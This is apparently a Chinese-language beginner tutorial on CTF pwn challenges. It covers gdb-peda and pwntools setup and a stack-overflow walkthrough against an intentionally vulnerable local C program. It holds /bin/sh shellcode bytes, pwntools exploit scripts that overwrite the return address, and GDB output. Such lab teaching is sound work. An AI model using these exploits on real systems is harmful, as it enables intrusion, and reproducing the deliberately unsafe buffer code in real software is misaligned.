好久没看过pwn题目了,写一个入门的教程顺便复习了:
1. 安装gdb-peda
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"
2. 一些比较有用的技巧
print system
直接输出__libc_system的地址 , 用以验证信息泄露以及system地址计算的正确性checksec
检查该二进制的一些安全选项是否打开shellcode
直接生成shellcodeattach pid
, 在利用脚本connect到socat上之后,socat会fork出一个进程,gdb attach上这个进程,即可以进行远程调试了socat TCP4-LISTEN:12345,fork EXEC:./1
本机调试
3. pwntools
- 安装
git clone https://github.com/Gallopsled/pwntools
cd pwntools
python setup.py install
- 或者使用
pip install pwn
- 基本的模板
from pwn import *
context.log\_level = 'debug' #debug模式,可输出详细信息
conn = remote('127.0.0.1' , 12345) #通过socat将二进制文件运行在某个端口之后,可使用本语句建立连接,易于在本地与远程之间转换。
print str(pwnlib.util.proc.pidof('pwn')[0]) #这两条便于在gdb下迅速attach 上对应的pid
raw_input('continue')
conn.recvuntil('Welcome') #两种不同的recv
conn.recv(2048)
shellcode = p32(0x0804a028) #用于将数字变成\x28\xa0\x04\x08的形式
conn.sendline(shellcode) #向程序发送信息,使用sendline而非send是个好习惯
conn.interactive() #拿到shell之后,用此进行交互
from pwn import *
pwn=remote("127.0.0.1","12345")
payload='A'*136 + p64(0x00000000004005bd)
#pwn.recvuntil('Welcome') #两种不同的recv
pwn.sendline(payload)
pwn.interactive()
- 本地调试
socat tcp-listen:12345, fork EXEC:./pwn
GDB 命令
1. X 命令
o - octal
x - hexadecimal
d - decimal
u - unsigned decimal
t - binary
f - floating point
a - address
c - char
s - string
i - instruction
2. 指定大小
b - byte
h - halfword (16-bit value)
w - word (32-bit value)
g - giant word (64-bit value)
- 基本栈溢出
// c语言源码
#include
#include
int vuln() {
char buf[80];
int r;
r = read(0, buf, 400);
printf("\nRead %d bytes. buf is %s\n", r, buf);
puts("No shell for you :(");
return 0;
}
int main(int argc, char *argv[]) {
printf("Try to exec /bin/sh");
vuln();
return 0;
}
/* Compile: gcc -fno-stack-protector -z execstack 1.c -o 1 */
/* Disable ASLR: echo 0 > /proc/sys/kerne/randomize_va_space */
root@kali:~/桌面# checksec 1
[*] '/root/\xe6\xa1\x8c\xe9\x9d\xa2/1'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
当read()将400字节复制到一个80字节的buffer时,显然在vuln()中存在缓冲区溢出弱点。
因此从技术角度看,如果我们将400个字节传递到其中,我们应该可以溢出缓冲区并用我们的payload覆盖RIP
- 我们首先使用gdb-peda
gdb
gdb-peda$ file 1
python -c "'a'*400" > in.txt
- 然后在运行的时候使用
gdb-peda$ r < in.txt
真正的目标是找到覆盖了RIP的偏移(带有一个非标准地址)。我们可以使用一种cyclic模板找到这个偏移:
gdb-peda$ pattern_create 400 in.txt
Writing pattern of 400 chars to filename "in.txt"
gdb-peda$ r < in.txt
然后我们查看此时的栈顶,因为我们是在栈中覆盖掉了vuln()函数的返回地址,此时这个返回地址就是$rsp(栈顶指针),栈的地址是从高地址向低地址增长的,大概如下图所示:
低 ->|-----------------|
| 全局量(所有已初始化量 .data, |
| 未初始化量 .bss ) |
堆起始->|-----------------|
| 堆向高地址增长 |
| |
| |
| 自由空间 |
| |
| |
| 栈向低地址增长 |
高 栈起始->|-----------------|
查看此时的rsp:
x/wx $rsp
0x7fffffffe1d8: 0x41413741
查看此时偏移:
gdb-peda$ pattern_offset 0x41413741
1094793025 found at offset: 104
因为该程序没有NX或stack canaries保护机制,所以我们可以直接在栈上编写我们的shellcode然后返回到shellcode上。
我们将通过一个环境变量把shellcode存储在栈中并用getenvaddr在栈上找到其地址.
export PWN=`python -c 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`
/*
getenvaddr.c
*/
#include
#include
#include
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s \n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
执行: 查看PWN变量在内存中的位置
root@kali:~/桌面# ./getenvaddr PWN ./1
PWN will be at 0x7fff203f4e4f
exp:
from pwn import *
pwn=remote("127.0.0.1","12345")
payload='A'*104 + p64(0x00007fff203f4e4f) //这里跟你想执行的shellcode
pwn.sendline(payload)
pwn.interactive()
这里为了方便演示,我在源码里写了一个flag函数,让调用完vuln函数后返回到flag函数去执行
#include
#include
int vuln() {
char buf[80];
gets(buf);
return 0;
}
int flag(){
printf("you got the flag!");
return 0;
}
int main(int argc, char *argv[]) {
vuln();
return 0;
}
查看main函数汇编地址
gdb-peda$ disas main
Dump of assembler code for function main:
0x00000000004005da <+0>: push rbp
0x00000000004005db <+1>: mov rbp,rsp
0x00000000004005de <+4>: sub rsp,0x10
0x00000000004005e2 <+8>: mov DWORD PTR [rbp-0x4],edi
0x00000000004005e5 <+11>: mov QWORD PTR [rbp-0x10],rsi
0x00000000004005e9 <+15>: mov edi,0x4006d5
0x00000000004005ee <+20>: mov eax,0x0
0x00000000004005f3 <+25>: call 0x400440
0x00000000004005f8 <+30>: mov eax,0x0
0x00000000004005fd <+35>: call 0x400576
0x0000000000400602 <+40>: mov eax,0x0
0x0000000000400607 <+45>: leave
0x0000000000400608 <+46>: ret
End of assembler dump.
查看flag函数地址
gdb-peda$ disas flag
Dump of assembler code for function flag:
0x00000000004005c0 <+0>: push rbp
0x00000000004005c1 <+1>: mov rbp,rsp
0x00000000004005c4 <+4>: mov edi,0x4006c3
0x00000000004005c9 <+9>: mov eax,0x0
0x00000000004005ce <+14>: call 0x400440
0x00000000004005d3 <+19>: mov eax,0x0
0x00000000004005d8 <+24>: pop rbp
0x00000000004005d9 <+25>: ret
End of assembler dump.
查看call vuln函数执行时候栈
0000| 0x7fffffffde58 --> 0x400602 (: mov eax,0x0)
0008| 0x7fffffffde60 --> 0x7fffffffdf58 --> 0x7fffffffe2cc ("/home/alex/Desktop/1")
0016| 0x7fffffffde68 --> 0x100000000
0024| 0x7fffffffde70 --> 0x400610 (<__libc_csu_init>: push r15)
0032| 0x7fffffffde78 --> 0x7ffff7a2e830 (<__libc_start_main+240>: mov edi,eax)
0040| 0x7fffffffde80 --> 0x0
0048| 0x7fffffffde88 --> 0x7fffffffdf58 --> 0x7fffffffe2cc ("/home/alex/Desktop/1")
0056| 0x7fffffffde90 --> 0x100000000
查看为变量赋值后栈的结构
0x400587 : mov rsi,rax
0x40058a : mov edi,0x0
0x40058f : call 0x400450
=> 0x400594 : mov DWORD PTR [rbp-0x4],eax
0x400597 : lea rdx,[rbp-0x60]
0x40059b : mov eax,DWORD PTR [rbp-0x4]
0x40059e : mov esi,eax
0x4005a0 : mov edi,0x400694
gdb-peda$ stack 50
0000| 0x7fffffffddf0 ('A' , "\300\005@")
0008| 0x7fffffffddf8 ('A' , "\300\005@")
0016| 0x7fffffffde00 ('A' , "\300\005@")
0024| 0x7fffffffde08 ('A' , "\300\005@")
0032| 0x7fffffffde10 ('A' , "\300\005@")
0040| 0x7fffffffde18 ('A' , "\300\005@")
0048| 0x7fffffffde20 ('A' , "\300\005@")
0056| 0x7fffffffde28 ('A' , "\300\005@")
0064| 0x7fffffffde30 ('A' , "\300\005@")
0072| 0x7fffffffde38 ('A' , "\300\005@")
0080| 0x7fffffffde40 ('A' , "\300\005@")
0088| 0x7fffffffde48 ('A' , "\300\005@")
0096| 0x7fffffffde50 ("AAAAAAAA\300\005@")
0104| 0x7fffffffde58 --> 0x4005c0 (: push rbp)
// 这里我们清晰地看到vuln函数的返回地址已经变成了flag函数的地址,这样在返回
// 后rsp会出栈赋值给rip,然后执行flag函数
【参考链接】
- pwn的一些科普 http://bobao.360.cn/ctf/detail/160.html
- pwntools安装 http://www.cnblogs.com/pcat/p/5451780.html
- pwntools用法 http://www.tuicool.com/articles/iAfuamr
- 栈保护 http://blog.csdn.net/nibiru_holmes/article/details/61209297
- 栈保护(这个写的非常好) http://www.cnblogs.com/gsharpsh00ter/p/6420233.html